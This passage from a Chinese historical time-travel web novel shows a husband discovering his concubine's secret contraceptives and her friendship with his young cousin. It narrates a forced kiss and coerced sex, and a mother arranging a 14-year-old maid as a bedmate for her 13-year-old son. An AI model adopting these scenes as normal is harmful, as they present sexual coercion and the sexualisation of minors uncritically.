“爷是不是记差了,误将先前的事,算到如今的我头上了?” 谢漼放下书,转过身来。 静静凝视,见她一脸无辜,道:“如今的你。” “听真儿这么说,倒像是把自个当两个人了?” 寻真心里一紧,连忙答:“没有。” 穿越这事儿,放现代,也就是大家在网上调侃打趣的话题,要真有人说自己穿了,估计就直接被认为是精神病患者了。 但古代人就不一样了。 他们迷信啊! 借尸还魂,转世投胎。志怪小说里可不少这种题材的。 寻真:“当然没有。” “以前的我,与如今的我,自然是同一个。” 说着,她偷偷觑他一眼,观察谢漼表情:“只是我实在没用,想不起以前的事罢了。” “那药喝了许久,也没什么效果……” 谢漼见她神色紧张,手紧捏着榻的棱角,生怕他动怒。 她可知,自己的心思从来藏不住,全摆在脸上。 一眼便能被人看穿。 谢漼直视着她:“真儿在惧什么?” 他又问了这个问题。 他的目光太过强势逼人。 寻真躲闪着:“我没惧。” 谢漼:“真儿似是怕极了,我会对你做什么。” 他语气平淡,神色也分外冷静。 寻真了解他,他越是平静,就越是不正常。 谢漼已经处于极度反常的状态。 不要惹他。 不能刚他。 得顺着。 寻真深吸气,抬眸:“我怎会怕。” “爷是我的夫君,是这世上对我最好之人。” “我怎会怕?” 话音刚落,谢漼猛地吻了上来。 寻真惊呼一声,被谢漼逼到塌角。榻上空间逼仄,她整个人被紧紧环绕。 谢漼用膝盖将她抵住,让她动弹不得。 一只手撑在靠背上,另一只手捏住她的下巴。 钳住了她。 第一次接吻。 唇贴着唇,舌抵着舌,亲密相接,毫无阻隔。 在寻真心里,这远比做/爱还要亲密。 不是只有相爱的人,才会这样吗? 两人相拥,身体紧密贴合,眼中只有彼此。 寻真下意识伸出手,想要阻止,推着他胸。 那吻便更汹涌,几乎要吃了她。 寻真感到唇边刺痛。 “唔……” 被咬了…… 第69章 第69章“撞进” 谢漼捧着她的脸,吻得她几近窒息。 寻真喘不上气来,眼前渐渐泛起白光,手胡乱地拍他。 许久,谢漼终于放开了她。 寻真大口大口地喘气,抓着一旁的木质靠背,咳呛着。 待肺部重新充盈了空气,寻真才稍稍缓过来。 谢漼正握着她的脚,一个掌控她的姿势。 他眼中复杂,似藏着某种难以言喻的情绪。 寻真抬头望向他,谢漼便立刻将那情绪收了起来。 寻真因为方才剧烈的呛咳,眼睛里蓄满了水汽,红通通的,看上去无辜可怜极了。 室内极度安静。 谢漼看了她一 会儿,眼里又恢复了平静。 寻真只觉得他莫名其妙。 气氛僵持许久。 谢漼突然伸出手,朝着她头顶上方伸去。 寻真还以为他又要干嘛。 缩了下脖子,目光怯怯。 谢漼的手在她头顶上方悬停了片刻,并没落下。 下了塌,出去了。 寻真维持着一个姿势,愣了好一会儿,才慢慢从刚才的情境中抽离出来。 谢漼到底,在生气什么? 寻真想不出,就归因于他有间歇性抽风症。 谢漼回了静远居,立刻唤了承安进来,抽出架子上的纸,给他,吩咐道:“承安,你去查这灯是出自何处。” 承安一看这图样,便想起了什么,抬头看了眼谢漼。 谢漼见他这表情,便问道:“怎了?” “可是见过?” 承安摇头,道:“并未见过……” 因是一个多月之前的事,所以承安一见到,瞬间便回想起来。 但仔细一想,与谢漼给他看的图,关联不大,便有些犹豫了,没即刻说出口。 谢漼道:“有何顾虑,直言便是。” 承安便道:“并非是有顾虑,只是在十五公子生辰那日,姨娘送的贺寿礼是玉佩,便是这鹰的图样了。” “当时,瑞宝还唤我们帮忙,花了半月才找到合适的。 “是以一瞧见这图,小的便想起来了。” 承安心道:但这是灯,那是玉佩,想来应是没什么关联吧? 谢进。 谢漼默念了一遍这个名字。 那些零零碎碎的线索,先前感觉违和之处,似乎快要串联起来了。 谢漼道:“先去查吧。” 承安应承,退下了。 翌日晚,谢漼又来了。 寻真正坐在案前,看一本侠义类的小说,叫《昆仑风云录》。 据瑞宝说,这是当下卖得最好的小说。寻真读得吃力,不像看网文时能一目十行,这里的小说看一页都要花不少时间。 不过故事倒是很有意思,有现代武侠小说的那种感觉了。 寻真看着看着,琢磨着自己脑袋里装着不少故事,这种都大卖了,现代的那些爆款套路,岂不是能让古代人见见世面了? 整点霸总之类的? 寻真想了想,觉得可行度不高,自己文采不行,八百字作文都要绞尽脑汁憋好久,写古言小说,还是算了吧! 让谢漼那个人型外挂来还差不多。 谢漼的名字刚从脑袋里滑过,寻真便感觉身后冷飕飕的,仿佛被人注视着。 她转过身。 谢漼立在她身后不远处。 两人一站一坐,对视良久。 寻真还记得昨天的事,都不知该如何跟谢漼正常相处了。 放下书,站了起来。 谢漼依旧站在原处,没有过来。 似乎在等她主动。 寻真便问:“爷可沐浴过了?” 谢漼没有回答她这个问题,只道:“我赴任陇州那两年。” “真儿在家中,都做了什么?” 寻真便回答,看书、练字,做谢漼留下的学习任务,每天运动锻炼身体,顺便做点手工、种种菜什么的。 讲完,狐疑地看向谢漼。 谢漼突然问这个是做什么? 难道…… 谢漼问道:“可有遗漏之处?” 寻真摇头,同时大脑紧急飞速运转。 谢漼是知道了什么,突然来问她? 谢漼又道:“可有事瞒着我?” 寻真盘了盘,一桩桩,一件件,谢漼无法接受的事,好像还挺多。 所以他昨天那么生气,是因为哪一件? 要是全坦白的话,岂不完蛋? 寻真存着侥幸心理,道:“回爷,并没有瞒着您的事。” “我每日行程已排得很满了,哪有时间做旁的?” 谢漼点头,看表情很平淡,好像也没生气的样子? 他也没再继续追问。 又僵持了一会。 寻真看他穿着,应是还没沐浴过。 寻真咬咬牙,纠结许久。 走了过去,替谢漼解起身上扣子,道:“爷,浴房想必已备好了热水,不如我服侍您——” 因谢漼个高,寻真站在他面前仰头看他,还有些费脖子。 平日寻真给他宽衣,他多少会配合一点,微微弯腰。这样寻真的手也不用抬得过高。 可今日,谢漼并不配合。 谢漼垂目低眉,整个人平静得仿若一潭死水。 眼神幽邃,毫无波动。 最上面一颗扣子缠得很紧,不知怎的,寻真好几次手滑,都没能解开。 又被谢漼这么注视着,寻真更做不好了。 寻真用指甲去抠那丝绳。 正努力时,手被谢漼泛凉的大掌包裹住了。 他微微用力,捏了捏掌心中纤细的手指。 然后,摘下她的手,转身离去。 寻真惊讶地望着谢漼离去的背影。 难得主动一回,居然还被拒绝。 承安很快便寻到了卖花灯的小贩。 若是没有范岂在前,对于两年前岁除夜的那一对主顾,小贩早就忘得一干二净了。可这小贩足足被范岂折磨了小半个时辰,就为了想那劳什子对子,他便是想忘也忘不掉。 因而承安一问,他便回想起来,描述出岁除夜那两位的身形相貌。 承安心中一惊,很快对应起来。 那两人定是,姨娘与十五公子无疑了。 两年前岁除夜,姨娘竟与十五公子偷溜出府。承安记性好,记得十五公子是十一月中旬回来的。 那二人是如何结识的? 短短时日,不到两个月,两人便熟到可以一同出府了? 承安不敢深想,忙回去回禀。 谢进用过晚膳,本想去花园消食。 他腰间别着竹蜻蜓,无聊时便会拿出来玩。他一路蹦蹦跳跳,玩着竹蜻蜓,往花园走去。 此刻已入了夜,回廊下,数盏纱灯亮着,照得廊下朦朦胧胧。 谢进又碰见谢漼了,见他从那方向而来,便知谢漼是刚从寻真那儿回来的。 谢进刚搓起竹蜻蜓。竹蜻蜓向谢漼那边飞去了。 在谢进眼中,谢漼的威肃远胜于谢进的父亲。 他本欲直接奔上前将竹蜻蜓取回,但又想到这么追着跑去的姿势不雅观,还是莫要在五兄面前留下坏印象。 于是他上前了几步,便止住脚步。 而后,他便瞧见五兄仰着头,注视着飞旋在空中的竹蜻蜓。 竹蜻蜓慢慢落下,坠到谢漼脚前。 谢进忙跑上前,蹲下捡起。 挠挠头,羞赧地笑笑:“五兄。” 谢漼却并没回应,只凝视着他。 谢进还以为自己玩闹的举动冲撞了谢漼,忙退到一边,伸出手说道:“五兄,你先走吧,你先……” 谢漼便直接越过他走了。 谢进小声嘀咕着,看来自己似乎惹五兄不快了。下次得留意些,见到五兄还是不可太过随意了。 谢漼走了几步,脚步顿住。 两片竹叶,飞旋时呈涡旋之形。 转如飞盘。 她生辰那日。 她令人绣在衣上,那奇异图样头上顶着的,便是此物了。 脑中细碎的线索瞬间串联起来了。 原来是谢进。 竟是谢进。 谢漼转过身,见谢进又调转了方向,向他来时的方向走去。 谢漼凝望片刻,也抬步。 当谢漼再次踏入之时,寻真正往门这边小跑着过来,似来确认门关严实了没。 寻真一见到他,眼神快速地闪过一抹慌乱。 寻真往后退,谢漼便逼进。 寻真揉搓着裙摆:“爷,您怎……” 细听,声音有几分颤。 谢漼不吭声,只凝视她。 寻真不断倒退,冷不防被门槛绊了一下,身体失去平衡,险些跌倒。她低头看了看,稳了身形,便站着不动了。 谢漼近前,将她抱起。 寻真低呼一声,攀住谢漼的肩。望去,谢漼下颌处紧绷,眉眼冷凝。 眸中似结了一层冰。 谢漼抱着她,一路往前,垂目看她,面无表情。 “真儿不如猜猜。” “我为何回来。” 那声音裹挟着寒意,沉沉地落在寻真的耳畔。 就在这时,耳边传来微弱的敲击音。 “噔”的一声,像是敲在寻真头顶。 下一秒,寻真睁圆了眼睛。 谢漼抱着她,径直朝后面的小窗走去。当第二声敲击响起之时,寻真被按在那小窗之前。 砰——! 寻真双手撑住了窗,欲起身。 却被谢漼死 死按住了,动弹不得。 他完全没有预兆地闯入了。 清朗月色下,格外静谧。 谢进的手正叩在窗口,被突如其来的一声重响吓到了。 他另一只手轻旋着竹蜻蜓,被这一声吓,手一松,竹蜻蜓坠到地上,发出微乎其微的声音。 紧接着。 屋里便传来断断续续的声音。 两道声音交织在一起。 虽然微弱,却带着一种莫名的冲击力,如利刃,直直地冲着他的耳膜撞进去了。 第70章 第70章“很重” 衣服簌簌地落在地上。 寻真的额头磕在小窗上,发出时轻时重的撞击声。 小窗被撞出一条细缝,银白的月光从缝隙中斜斜透入,洒在地上。 地上,两道人影交叠着。 在这一刻,寻真已经到达极限,再也无法忍耐了。 寻真觉得,没有比这一刻更让人感到屈辱的了。 寻真拼尽全身力气,转身。 狠狠地、用力地推开他。 谢漼毫无防备,往后跌了几步。 他脸上展露从未有过的狼狈,平日里那副面具好似被彻底撕碎。 还好此处光线昏暗,无人能看清。 夜里带着丝丝凉意,寻真蹲下捡衣服。 昏翳中,寻真听到谢漼沉而重的呼吸。 那呼吸时急时缓,是乱的。 他调整自己。 上前了一步,声音又变得沉着而冷静。 他伸出手,似是想要握住寻真的肩。 “真儿……” “啪”的一声,清脆而响亮。那力度很重。 寻真几乎用尽力气。 把他的手打掉了。 寻真仰起头,怒目而视。 几乎是尖叫着冲谢漼喊道:“别碰我——!” 即便光线微弱,谢漼也能清晰地看到她眼中燃烧的火。 灼灼含泪,眸中隐隐浮现了血丝。 谢漼虽只被打到手,却好似又被她重重推了一下。 竟不受控制地朝后退了半步。 寻真一手用衣服捂着自己,另一只手伸出去,指向门口。 她头发蓬乱,目光却如利剑般锐利,直直地射向谢漼。 寻真胸腔剧烈起伏,嘴唇颤动。 那一个“滚”字在舌尖打转,最终还是没有说出口。 在最后一刻,她的理智回笼了些许。 要滚也是她滚。 这屋子是谢漼的,她又有什么资格让主人滚出去? 不过好在,谢漼走了。 寻真脱力般地坐到地上,抖着手穿好衣服,随后便坐在窗前的地上。 怔怔望着前方。 许久,寻真耳畔传来月兰和引儿的轻唤。 “姨娘,姨娘……” 室内亮了起来。 两丫鬟见寻真坐在地上,小跑上前,过来扶她了。 方才寻真那一声喊叫,连住得远的丫鬟都听见了。 她们纷纷出了门,满脸惊惶地望向主屋。 之后,屋内便陷入了死寂,静得可怕。 没过多久,谢漼便从里面走了出来, 丫鬟们忙一个个把头缩进去了,不敢发出一点声响。 寻真扯着嗓子喊了一下,现在声音沙哑:“现在有热水吗?” 月兰:“有的,浴房早备好了。” 寻真点点头,两眼有些呆滞:“我洗个澡……没事,不用管我,你们去休息。” 寻真这状态,两丫鬟实在放心不下,在浴房边站着,一旦有事便可随时进去帮忙。 见寻真躺好了,便吹了烛,出去了。 门外,两丫鬟小声交谈着。 引儿眼中惶惶:“姨娘那般对爷,爷若是彻底恼了姨娘,怎办……” 月兰也一脸担忧:“莫要吓着自己,不会有事的,不会有事……” 半夜,寻真惊醒了一回,满身热汗,衣服都被汗水浸湿。她坐在床上,大口喘着气,然后跑去柜子那边,把箱子翻了出来,收拾了一些金银首饰。 打成一个小包袱,手里拿着抓钩,坐在地上,呆呆地发着愣。 直到天边泛起鱼肚白。光渐渐充盈了整个房间,寻真才从恍惚中清醒过来。她将背上的包袱解下,把金银首饰倒了回去。 寻真重新躺回了床上。 昨夜,谢漼回到静远居,承安便来通禀了。 谢漼坐在案前,静静听完,示意承安出去。 承安心中纳闷,爷听了这事,竟全无反应,连神色都不曾变动。 爷这养气的功夫,可是越发厉害了。 承安本以为,爷纵不怒,为弄个水落石出,也该让他继续查探,怎会如此镇定? 承安回想,方才见爷归来,那神态分明有些崩乱,可一转眼就恢复如常,让人瞧不出破绽。 承安愈发疑惑。 翌日,寅时。 天边已泛起了曙光。 承安再度走进书房,见谢漼还维持着昨日他见过的姿势,身上的衣服也未更换,不免心惊。 爷难道是这般枯坐了一夜吗? 谢漼开口,声音喑哑,夹杂着几分虚弱,道:“承安,继续去查。” 承安又惊了下,道:“是。” 承安离开后,谢璋出现在门口。 站在门边,小小地唤了声“爹”,不敢进来。 昨晚,谢璋一见谢漼回来,便小跑着上前,想要抱抱。谢漼只看了他一眼,便对一旁的丫鬟说:“抱恒哥儿进去。” 谢璋从未听过谢漼用这样的语气对他说话,心像被一盆冷水浇透了。 因此,这才不敢靠近谢漼了。 谢漼放缓了声音,道:“恒哥儿,来。” 谢璋便开心地跑过去了。被抱到膝上后,谢璋抬起手,小小的手摸谢漼的眉毛:“爹,你怎了?” 谢漼凝视着谢璋,手轻轻抚着他的小脸。 谢璋觉得,爹虽然在看他,却好似透过他的脸,在想着别人。 谢漼抱了一会,温声道:“爹还要上值,恒哥儿自己去玩,可好?” 谢璋乖巧点点头。 谢进恍恍惚惚地睁开眼。 忽然感觉身下异样,亵裤湿漉漉的。 谢进一下子懵了,自记事起,他便再没出现过这样的情况了。 竟像小娃娃一般遗溺了…… 谢进一张脸臊得红通通的。 他将裤子换下时,手指短暂地触碰到那湿腻的触感,还闻到一丝腥涩的气味。 他来不及多想,便将衾单和裤子一道卷起来,打算寻个地方丢了。 这一觉睡得太沉,竟睡到快晌午。 谢进刚跨出卧房,便撞见来找他的钱氏。 谢进见到母亲,十分慌乱地将脏衣物往身后藏,结结巴巴地说道:“娘,你怎来了?” 钱绮见儿子行为怪异,侧目望去。 谢进便更加努力地将衣物藏好,生怕露出一丝衣角。 钱氏:“这是藏了什么好东西不让我知道?” 谢进:“没、没什么……” 钱氏:“今日怎睡这么沉,昨日又去哪儿疯玩了?桃枝说怎么唤都唤不醒。便叫你睡到现在……都该用午膳了。” 谢进连连点头:“知道了娘,我一会就来,现在还有要事要办呢!先出去了。” 谢进将衣物紧紧抱在胸前,像只猴儿一样窜出去了。 钱绮看着儿子奔跑的背影,摇摇头:“什么时候才会长大……” 她走进屋内,看到房内的情形。那床上的衾单被谢进卷走,只剩被褥,被褥只湿了一点点,谢进许是觉得太重便没拿。 钱绮转瞬间便明白了是怎么回事。 回去的时候,她与 陪嫁嬷嬷说道:“这小子,总算长大了,也该开始为他相看起来了……” 徐嬷嬷听着钱绮讲方才的事,好像抓住了关键,便道:“少爷莫不是还不懂自己发生了什么吧?莫不是以为自己遗溺了,才那般怕夫人知道?” 钱绮被她点醒,一拍大腿:“真叫嬷嬷说对了,方才那小子脸红得跟什么似的,将东西捂得严严实实,生怕我瞧见了!” “看来,还是得寻个干净丫头,好让少爷知晓人事才是,少爷单纯,又极易信人,这般懵懵懂懂,若是去外面……”说到这儿,徐嬷嬷压低声音,眼神暗示,手指了指一个方向,“像二房那位,被不清不白的女子勾了去,可就不妙了。” 钱绮被她说得心里一紧,一下站了起来:“嬷嬷说的是。既然炎哥儿已到了年纪,便要好好打算起来。桃枝不行,年纪大了,杏儿……颜色又差了些。”她点了几个院里的丫头,都觉得配不上自己儿子,叹气道,“先前只觉炎哥儿还小,便一直未考虑,如今,要挑个合适的丫头,哪有那么容易。” 徐嬷嬷:“夫人莫急,一会我便叫牙婆来一趟,问问有没有适龄的丫头,咱们慢慢挑起来,总能挑到合适的。” 钱绮点点头:“要老实敦厚,不耍心眼……颜色也得好,也莫要太过青涩的,比炎哥儿大个一二岁正合适。” 徐嬷嬷应了声,出去了。 谢漼下了值,走出太学正门,脚步微微踉跄,很快便稳住了。 今日他没骑马。 开阳门外,马车停在路边,承安候在一旁。 谢漼到了跟前,小厮便撩起了车帘,谢漼并未上车,而是看向承安:“可查清了?” 这声音透着明显的疲惫。 谢漼正年轻,一日通宵对他来说算不得什么。以前在陇州时,一旦忙起来,便时常昼夜相继,他自己倒也不觉得辛苦。 今日上司见了他的样子,十分吃惊,问他是不是病了。 那上峰爱才,见谢漼带病仍来当差,深为感叹,当即给他批了两天假,叫他身子好全了再来。 两日后便是谢漼休沐之期。 这下,谢漼就有了三天小长假。 承安答:“查清了。” 谢漼微微颔首,踏上马车:“先回去。” 寻真现在是一副死猪不怕开水烫的模样。 谢漼进来的时候,寻真便起身,随便找了个合适的位置站好了。 垂着眼,无神地望着地面。 月兰和引儿站在一旁,她们嗅着气氛不对,大气都不敢出,战战兢兢。 谢漼端起茶盏,扫了一眼,吩咐道:“月兰。” 月兰上前一步:“是。” 谢漼:“你去搜,但凡可疑之物,一概寻出。” “全屋上下,里里外外,都得细加搜寻,切莫有一丝错漏。” 月兰迟疑了一下,还是道:“是。” 谢漼只叫月兰一人去搜,月兰便拿着册子去了库房,搜寻许久,才拎来一只灰扑扑的花灯。 寻真瞄了一眼,是两年前岁除夜,她带回来的,之后便随便在库房找了个地方丢下了。 寻真站累了,揉了揉腰。 谢漼放下茶杯,茶杯磕在桌面,发出清脆的碰撞声。 谢漼忽然开口问道:“柳氏。” “此灯从何处来?”【魔蝎小说 mo xie xs .c om】 70-80 第71章 第71章“煞白” 寻真抬起头,同样平静地望向他,道:“你不是都已经知道了吗?” 寻真实在做不出跪地求饶、痛哭流涕的样子。 谢漼倒是没被她这态度激怒,目光在她脸上停留片刻,望向月兰,道:“都搜完了?” 月兰回:“只卧房还未搜过。” 谢漼道:“继续搜。” 不多时,月兰回禀,说再没找到别的可疑之物。 只剩一个箱子,还没看。 谢漼问:“为何不看?” “钥匙在姨娘手里。”月兰斟酌着说道,“那箱子装着都是姨娘的体己,想来应是没什么……” 谢漼道:“将那箱子拿来。” 月兰将那上了锁的木箱捧来。 寻真转身,向内室走去。那箱子的钥匙被她藏在被褥下。她取了出来,干脆利落地丢在地上。 箱子便在四人眼前被打开了。 箱中,皆是成色上佳的首饰。然而在这堆女子常用之物中,突兀地躺着一件格格不入的东西,正是谢进送给寻真的抓钩。在一众金银细软间显得格外扎眼。 月兰一惊,将抓钩小心翼翼拿出。 垂首道:“爷,这箱子中只有此物,奴婢并未见过。” 谢漼深邃的眸中似是闪过一抹寒意,问道:“再无别物了?” 月兰道:“回爷的话,确是再无他物。奴婢已将全屋上下、里里外外仔细搜检过了。” 默了几息后。 谢漼的食指有一下没一下地敲着案,道:“不是有只木簪么?” 月兰:“那是姨娘亲手做的……” 谢漼:“拿来。” 月兰:“是。” 下人端来火盆。 谢漼又令月兰一一取了几物。绣着叮当猫的布袋子和短袖,以及木簪、花灯,都被投入火盆中。 通通烧了。 屋内火光冲起,火苗肆意舔舐着这些物件,不过须臾,便将它们吞噬得干干净净,只余下灰烬在空中慢慢飘荡。 谢漼望着那飘散的灰烬,掀眸望向寻真,问道:“除了这些,可还有瞒我之事?” “柳氏。” 能被找到的证据,确实还有一件。 寻真直视着谢漼,说:“你都已经知道,为何要一次次逼我说?” 月兰和引儿听到这话,吓得脸色惨白,“扑通”一声跪地。 谢漼便望向月兰,道:“月兰,你说。” 月兰伏在地上,头抵着地,道:“奴婢也不知。” 这般情形,便是再愚钝的人也能猜出几分。 月兰心中已有了一个可怕的猜想。回想起那日,她曾闻到一股奇异的味道,想来应是药味。而后几日,姨娘每日起身,便前往厨房,将自己反锁在里面,一待便是许久。 此刻,月兰已经隐隐猜到了其中缘由。 只是事关子嗣,这等大事,她又怎敢轻易开口? 谢漼道:“你贴身服侍,定能察觉柳氏的异常之处。” “看来,你是不想——” 寻真直接打断了谢漼的话,说:“你想要的,被我埋在房后。” “墙角右侧,往前十步。” 很快,寻真埋的十二包避子药被挖了出来。 月兰依着谢漼的吩咐,拆开一包,放在案上。 谢漼目光扫过。 虽谢漼已猜出所埋为何物,可当亲眼瞧见那药材暴露在眼前,谢漼放在膝上的手不自觉收紧,指节因用力而泛白。白皙的脖颈处,青筋也若隐若现。 “柳氏,莫不是我平日里太过纵着你,让你错以为……” “不管犯下何等大错,我都会容你、护你? 寻真垂着头,既不辩解,也不回应。 谢漼没再说什么,拿起那抓钩,抬步离去。 月兰和引儿心中沉甸甸的,都还跪着,不敢起身。 “都起来吧,是我连累了你们。” 寻真安慰道:“他也明白你们什么都不知情,不会责罚你们的。” 月兰联系前后种种,也能大概猜到寻真是偷偷溜出府了,那花灯便是从府外得来的。 令爷盛怒的想必就是这避嗣一事。 月兰将这些避子药尽数烧毁。她瞧了一眼寻真,道:“姨娘,想来应是无事的。方才爷只让奴婢一人搜,想必是不想让旁人知晓此事。” “爷对您,还是有怜惜的……” 寻真沉默着。 谢漼出了院子后,拿起那抓钩,目光落在背面,上面刻着一个“进”字。 他凝视许久,神色难辨,将抓钩递给一旁的承安,问道:“可见到了?” 承安接过抓钩,应了声,道:“十五公子得知您要找他谈话,立刻就应下了,还说什么时候都方便。” 谢漼道:“那便今日,在我院中。” 说完,又补充一句:“若今日寻不到,也无妨。” 承安:“是。” 此前谢漼特意交代,不可直接去大爷院中找谢进,需碰巧遇见,再寻时机与他搭话。 这时间便拿不稳了。 好在谢进本就性子好动,闲不住。承安在府中晃悠几圈,又瞧见了他。 谢进正坐在小池边,掌心抓了一把碎石子,打着水漂,眼神放空,似在发呆。 承安左右环 顾,见四周无人,赶忙快步上前,压低声音说道:“十五公子,我家爷想见您,不知您现在可有空闲?” 谢进闻声,抬起头来,点了点头,起身跟着承安走了。 书房。 谢漼正在案前写字,见谢进进来,他搁下笔,将纸合上,抬手示意谢进落座。 单独与谢漼相对而坐,谢进难免有些紧张,双手相互搓着,声音带着几分拘谨,唤道:“五兄。” 谢漼道:“十五弟,你应知晓我寻你来所为何事。” 这话一出,谢进脑海中那些好不容易才被驱散的画面与声音,霎时袭来。 他还不太懂得如何掩饰情绪,脸涨得通红,闷闷地说:“我知道,五兄。” 谢漼见他脸上情状,神色一凛,手抓着案沿,用力几分。 再度开口时,脸上已微笑起来,道:“十五弟,在民间,叔嫂间亲厚些,本无妨。” “只谢府不是一般人家,若为外人所知,十五弟自有亲族庇佑,不会有事。” “可我那妾室,恐遭大难。” “十五弟,当知此事干系重大。” 谢进眼中闪过一丝惊讶。 他心里清楚,那晚五兄折返,想必是猜到了什么。 回想起那晚,谢进被那一声撞击,吓得心跳都仿佛停了一瞬。紧接着,又听到那般的声音……谢进不懂那是什么,身子却听得热了起来。 他以为五兄在惩罚姐姐。 没听一会儿,他便跑了,他想着姐姐定是也不愿让旁人听到那般狼狈的声音。 今日在路上遇见承安,听闻谢漼要找他谈话,他本以为会遭一顿训斥,没想到五兄竟如此平静地与他交谈。 心中不禁感叹,五兄果非常人。 谢进收敛思绪,脸上也变得严肃起来,说道:“五兄,我晓得的。” 谢漼道:“十五弟是明事理之人。” “今日,能否拜托十五弟一事?” 谢漼都这么说了,谢进当然立马就点头了,回道:“五兄尽管说。” “我一定尽力做到。” 谢漼直直地盯着他,眸中散着点点寒意,道:“望十五弟将我妾之物尽数归还,且自今日后——” “莫要再与她有任何牵扯往来。” “十五弟,你可能做到?” 谢进愣住了,眼睛猛地睁大。 再也不见姐姐? 澄澈的眼中满是茫然,这来得太过猝不及防,让他一时有些不知所措。 喉中干涩,他无法立刻答应,脑海中不由自主浮现出过往种种。 两年前岁除夜,他与寻真并肩行在漆黑小道上,一同将饼咬得咔吱作响。 一年前,他与寻真合力救了楣姨娘,那晚寻真说的话,曾让他忍不住落泪。 还有,在楣姨娘的院中,他们一起烤肉、烤菜…… 谢进喉咙像被什么哽住了,艰难开口,道:“五兄,能不能……” 谢漼神色便更冷了些,声音沉下来,问道:“十五弟可有读过律疏?” 谢进摇了摇头。 谢漼盯着他,一字一顿道:“若事发,柳氏必依律判处,服徒役三年,且施杖刑。” “到那时,十五弟尚可自全,我妾柳氏又将何以安身?” “十五弟如今已十三,怎还如此糊涂自私,全不顾他人死活?” 谢进失魂落魄地走出谢漼的院子。 一个时辰后,他亲自将整理好的物件打包送来,并未叫小厮代劳。送完后,便跑了。 包袱里装着寻真送谢进的所有东西,玉佩、花灯,还有寻真亲手做的竹蜻蜓。 “梆”的一声,石锤重重落下,那块鹰形玉佩便四分五裂了。 紧接着,谢漼面无表情地将碎玉、鱼灯和竹蜻蜓投入火盆中。 他伫立在前,安静地瞧着。 忽然,他注意到鱼灯上提着两行字,定睛看去,火舌迅猛蹿起,瞬时将字迹吞没,消失得无影无踪。 谢进离开谢漼院子后,去了谢大爷的书房,将《律疏》翻了出来。 谢进捧着律疏,一直看到夜幕深沉,终于找到了谢漼口中的对应律条。 那几个字映入眼帘。 谢进的脸,唰的一下煞白了。 第72章 第72章“黑影” 寻真还以为谢漼会狠狠惩罚她。 可自那天后,谢漼就再也没踏进过这个院子。 起初,院子里的丫鬟们都骚动不安,虽不知究竟发生了何事,也都隐隐猜到,寻真怕是触怒了谢漼。 可时日一久,谢漼整整一月未露面,众人也就平静下来,一切照旧,好像回到了谢漼不在的那两年。丫鬟们对这种平平淡淡的日子早已习以为常。 寻真倒觉得这样自在多了,谢漼不来,她整个人都轻松了。 也不用担心会不小心怀孕。 寻真与月兰想法一致,谢漼生气的点,应该是因为她叫谢进帮她买避孕药。 谢漼那人还是有点骄傲在身上的。 他也不缺女人。 被她这么打了脸。 大概……以后应该不会再来了吧? 五月,暑气越来越盛。 寻真想到那件被烧掉的短袖,心里怪可惜的,实在想不明白那短袖到底是哪里惹到他。 寻真便想再试试,让月兰去问了。 下人们多少都有些察言观色的本事。瑞宝在外帮着寻真打理庄子和铺子,平日里虽忙得脚不沾地,但只要是寻真的要求,他总是尽心尽力去办。 这两个月寻真一直没什么吩咐,他还觉得奇怪呢。 此前,承安还特意交代了一句,以后姨娘要是有什么要买的东西,不管大事小事,都得告诉他。 瑞宝听了这话,心里就有数了。 偶尔看到承安,见他满脸愁容,承安是贴身伺候爷的,他这般唉声叹气的,定是主子心情不好。瑞宝就猜,多半是少爷和姨娘闹矛盾了。 这回寻真提出要求,瑞宝得了信,赶紧去找承安。 瑞宝笑嘻嘻的,帮承安捏着肩膀说:“承安哥,你看,我这就去帮姨娘办事?” 承安心道,这柳姨娘,心可真大。 出了那么大的事,竟还跟个没事人似的,都两个月了,也不主动跟爷去认个错,哪怕辩解几句也好啊。还有心思做衣裳、买寒瓜苗。 可苦了他,这两个月来,爷每日都沉着脸,他办事都战战兢兢的。 承安道:“先别急,等爷下了值,我去问一声。” 到静远居,谢漼见承安欲言又止,便开口问道:“何事?” 承安道:“是清挽院那边……” 谢漼脚步一顿,问道:“她……怎了?” 承安鼓起勇气道:“姨娘想制两件衣裳,还有……买些寒瓜苗,种在屋后。” 谢漼盯着承安看了许久,直看得承安双腿发软,几乎站不稳。 良久,谢漼才道:“去办吧。” 说完,往前走去,承安暗暗松了口气。 另一头。 徐嬷嬷满脸喜色,匆匆进屋,对钱氏说道:“夫人,这回可让我寻到好几个伶俐丫头,您快去瞧瞧,保管满意。” “有几个生得那叫一个水灵,性子看着也老实,不像是爱出风头、爱掐尖儿的。” 钱绮站起来,应道:“好,我这就去看看。” 近两个月来,钱绮明显感觉到,儿子整个人沉稳了许多,不再像从前那般爱跑爱跳、贪玩好动。 起初,她还以为儿子 碰上了烦心事,便去关心。 谢进却回道:“母亲莫要多心,儿子能有什么事。如今儿子也长大了,自是不能再像小孩子一样整日只知道玩耍。” 钱绮听儿子这么说,那神态那语气,像是一夜间长大了般,既感到欣慰,又有些怅然。 这一批小丫头里,果然有几个出挑的。钱绮越看越满意,留下了五个,打算先让儿子挑。 这些日子,谢进一直在书房苦读。 见钱绮进来,也不像以前那么活泼了,只是稳重地起身,唤了一声:“娘。” 钱绮见儿子这乖巧样子,心中满是感慨,说道:“炎哥儿,娘打算给你屋里添两个丫鬟,你自个儿去挑挑,看哪个合你心意。” 谢进回:“娘,我屋里丫头够多了,不必再添了。” 钱绮走上前,压低声音道:“你这傻孩子,这可不一样。你也老大不小了,有些事儿也该懂了……这丫头可不是普通伺候的,是夜里给你暖床用的……炎哥儿,你可明白?” 谢进一愣,懂了。 有些事,自然而然便懂了。 第一次,谢进还以为是自己遗溺了,后来,在街上闲逛时,鬼使神差进了一家书肆,他向老板买了几本隐秘册子。 谢进这才知道,原来男女之间做那事,竟是那般模样。 钱绮见儿子呆呆的,也不知在想些什么,便拉着他往大堂走去。 大堂中,五个丫鬟早已候着,见有人进来,投来目光。 谢进刚想挣脱钱绮的手,却在看到其中一人的容貌时,微微一怔。 钱绮顺着儿子的目光望去。 那丫鬟正是这五人中生得最为出众的,眼睛水灵灵,面相也瞧着老实。 钱绮便将那丫鬟留下,其他丫鬟没被选中,多少都有些失落。 堂中便只剩这丫鬟了。 钱绮问:“你多大了。” 丫鬟目光怯生生的,声音也小,道:“奴婢十四了。” 钱绮点头,年龄正合适。 又问道:“可有名字?” 谢进这时却道:“娘,都说了我不缺丫鬟。” “您要是喜欢,就自己留着,我可不要。” 这话一出口,倒有了几分谢进从前的模样。 钱绮斜他一眼,嗔道:“好好好,你若嫌弃她了,便给我。” 说完,又望向石榴,温声问道:“别怕,你叫什么?” 丫鬟轻声说:“奴婢叫石榴。” 